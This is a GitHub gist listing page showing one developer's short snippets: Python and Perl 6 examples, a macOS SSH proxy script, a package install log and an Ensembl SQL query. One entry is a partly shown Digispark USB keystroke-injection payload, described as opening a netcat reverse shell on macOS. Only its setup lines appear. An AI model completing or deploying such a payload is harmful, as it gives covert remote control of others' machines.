Skip to content

Instantly share code, notes, and snippets.

View MattOates's full-sized avatar

Matt Oates MattOates

View GitHub Profile
@MattOates
MattOates / random_rows.py
Created November 14, 2017 15:34
The following code doesn't work, but a by hand tailored equivalent `random.choice(None or [None])` works just fine.
def random_rows(db, model, columns={}, num=100):
column_types = [ {'name': col.name, 'type': str(col.type)} for col in model.__table__.columns]
rows = []
for n in range(1, num):
rows.append([random.choice(columns.get(col['name']) or [None]) or __random_data(col['type']) for col in column_types])
return rows
@MattOates
MattOates / random_rows.py
Created November 14, 2017 15:34
The following code doesn't work, but a by hand tailored equivalent `random.choice(None or [None])` works just fine.
def random_rows(db, model, columns={}, num=100):
column_types = [ {'name': col.name, 'type': str(col.type)} for col in model.__table__.columns]
rows = []
for n in range(1, num):
rows.append([random.choice(columns.get(col['name']) or [None]) or __random_data(col['type']) for col in column_types])
return rows
@MattOates
MattOates / random_rows.py
Created November 14, 2017 15:34
The following code doesn't work, but a by hand tailored equivalent `random.choice(None or [None])` works just fine.
def random_rows(db, model, columns={}, num=100):
column_types = [ {'name': col.name, 'type': str(col.type)} for col in model.__table__.columns]
rows = []
for n in range(1, num):
rows.append([random.choice(columns.get(col['name']) or [None]) or __random_data(col['type']) for col in column_types])
return rows
@MattOates
MattOates / defaults.p6
Created September 4, 2017 10:59
Default inheritance in P6
class Parent {
has Str $.title = "Yay Parent Default";
}
class Child is Parent {
has Int $.index = 10;
}
class Baby is Child {
has Rat $.weight = 1/10;
$ zef install WWW
===> Searching for: WWW
===> Updated cpan mirror: https://raw.githubusercontent.com/ugexe/Perl6-ecosystems/master/cpan.json
===> Updated p6c mirror: http://ecosystem-api.p6c.org/projects.json
===> Searching for missing dependencies: HTTP::UserAgent, IO::Socket::SSL, Test::When
===> Searching for missing dependencies: DateTime::Parse, Encode, IO::Capture::Simple, Test::Util::ServerPort, OpenSSL
===> Testing: DateTime::Parse:ver('0.0.1')
===> Testing [OK] for DateTime::Parse:ver('0.0.1')
===> Testing: Encode:ver('0.0.2'):auth('github:sergot')
===> Testing [OK] for Encode:ver('0.0.2'):auth('github:sergot')
@MattOates
MattOates / help.p6
Created June 22, 2017 17:44
Demo of --help and help options to a command
sub help {
say "help me!";
}
multi sub MAIN('help') {
help()
}
multi sub MAIN(:$help) {
@MattOates
MattOates / proxy.sh
Created June 7, 2017 16:18
Proxy stuff on macOS
function proxyon {
sudo networksetup -setwebproxy Wi-Fi localhost 8080
sudo networksetup -setsecurewebproxy Wi-Fi localhost 8080
sudo networksetup -setwebproxystate Wi-Fi on
sudo networksetup -setsecurewebproxystate Wi-Fi on
ssh -2CnNqT -L 8080:wwwcache.server.com:8080 user@bastion.host
}
function proxyoff {
sudo networksetup -setwebproxystate Wi-Fi off
@MattOates
MattOates / osx_terminal_payload.c
Created May 15, 2017 08:45
Digispark HCI keyboard payload for reverse shell via remote listening netcat
#include "DigiKeyboard.h"
//Command key is ord 37 and as a modifier 0x00000008
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
#define MOD_CMD_LEFT 0x00000008
boolean do_hack = true;
void setup() {
@MattOates
MattOates / 2bit.p6
Last active May 9, 2017 13:52
Add in a new decoding for Blob/Buf
my class 2bit does Blob[uint8] is repr('VMArray') {
method decode(2bit:D: $encoding = '2bit') {
die "Can not decode a 2bit buffer as if it were $encoding"
unless $enc eq '2bit';
#TODO the guts here
}
method encoding() { '2bit' }
multi method Str(2bit:D:) { self.decode }
multi method Stringy(2bit:D:) { self.decode }
}
@MattOates
MattOates / ensembl_genes.sql
Created April 11, 2017 15:55
Get a list of genes from ensembl public DB with HGNC symbols/synonyms
SELECT g.gene_id, s.synonym AS hgnc_symbol, GROUP_CONCAT(ga.value ORDER BY attrib_type_id DESC) AS ensembl_name_synonym, sr.name AS chr, g.seq_region_start AS start, g.seq_region_end AS end
FROM gene AS g
JOIN seq_region AS sr ON g.seq_region_id = sr.seq_region_id
JOIN gene_attrib AS ga ON g.gene_id = ga.gene_id AND attrib_type_id IN (3,4)
JOIN object_xref AS ox ON g.gene_id = ox.ensembl_id AND ox.ensembl_object_type='Gene'
JOIN xref AS x ON ox.xref_id = x.xref_id
JOIN external_synonym AS s ON x.xref_id = s.xref_id
JOIN external_db AS d ON d.external_db_id = x.external_db_id AND d.db_name = 'HGNC'
WHERE s.synonym LIKE 'ITPR1' OR ga.value LIKE 'ITPR1'
GROUP BY g.gene_id;